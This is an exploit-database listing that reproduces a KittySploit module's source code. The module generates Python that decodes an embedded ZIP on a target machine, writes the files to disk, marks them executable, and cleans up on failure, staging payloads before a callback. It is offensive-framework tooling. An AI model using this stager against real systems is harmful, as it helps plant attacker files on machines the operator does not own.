Lucene search
+L

Extract Embedded ZIP (Python)

🗓️ 19 Aug 2026 05:37:22Reported by KittySploitType 
kittysploit
 kittysploit
🔗 kittysploit.com

The Extract Embedded ZIP (Python) module extracts a ZIP archive before callback.

Refs
Code
#!/usr/bin/env python3
# -*- coding: utf-8 -*-

"""Extract an embedded ZIP archive before callback (Python emitter)."""

from __future__ import annotations

from typing import Any, Dict

from kittysploit import *
from core.payload_generation.prestage.zip_context import resolve_zip_prestage_context


class Module(Prestage):
    PRESTAGE_ID = "extract_zip"

    __info__ = {
        "name": "Extract Embedded ZIP (Python)",
        "description": "Extract a ZIP archive embedded at generation time before callback",
        "author": "KittySploit Team",
        "version": "1.0.0",
        "platform": Platform.MULTI,
        "languages": ["python"],
        "dependencies": [],
        "tags": ["prestage", "offline", "zip", "staging", "python"],
    }

    zip_file = OptFile("", "ZIP archive on operator machine (embedded during generate)", False)
    extract_to = OptString("", "Destination directory on target (default: temp dir)", False)
    cleanup_zip = OptBool(True, "Remove extracted tree on failure after partial extract", False, True)
    chmod_exec = OptBool(True, "Mark extracted files executable (Unix)", False, True)

    def generate_python(self, context: Dict[str, Any] = None) -> str:
        ctx = resolve_zip_prestage_context(self, context)
        zip_b64 = str(ctx.get("zip_b64") or "").strip()
        if not zip_b64:
            return "pass  # extract_zip: set prestage_archive on payload"

        extract_to = str(ctx.get("extract_to") or "").strip()
        cleanup = bool(ctx.get("cleanup_zip"))
        chmod_exec = bool(ctx.get("chmod_exec"))

        return f'''
import base64 as _b64
import io as _io
import os as _os
import shutil as _shutil
import stat as _stat
import tempfile as _tempfile
import zipfile as _zipfile

_zip_b64 = "{zip_b64}"
_extract_root = {extract_to!r}
_cleanup = {bool(cleanup)}
_chmod_exec = {bool(chmod_exec)}

try:
    _raw = _b64.b64decode(_zip_b64)
    if not _extract_root:
        _extract_root = _tempfile.mkdtemp(prefix="ks_")
    else:
        _os.makedirs(_extract_root, exist_ok=True)
    with _zipfile.ZipFile(_io.BytesIO(_raw), "r") as _zf:
        for _info in _zf.infolist():
            _dest = _os.path.join(_extract_root, _info.filename)
            if _info.is_dir() or _info.filename.endswith("/"):
                _os.makedirs(_dest, exist_ok=True)
                continue
            _parent = _os.path.dirname(_dest)
            if _parent:
                _os.makedirs(_parent, exist_ok=True)
            with _zf.open(_info, "r") as _src, open(_dest, "wb") as _out:
                _out.write(_src.read())
            if _chmod_exec:
                try:
                    _mode = _stat.S_IRUSR | _stat.S_IWUSR | _stat.S_IXUSR
                    _os.chmod(_dest, _mode)
                except Exception:
                    pass
    globals()["_kitty_extract_dir"] = _extract_root
except Exception:
    if _cleanup and _extract_root and _os.path.isdir(_extract_root):
        try:
            _shutil.rmtree(_extract_root, ignore_errors=True)
        except Exception:
            pass
'''.strip()

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

19 Aug 2026 05:37Current
5.8Medium risk
Vulners AI Score5.8
0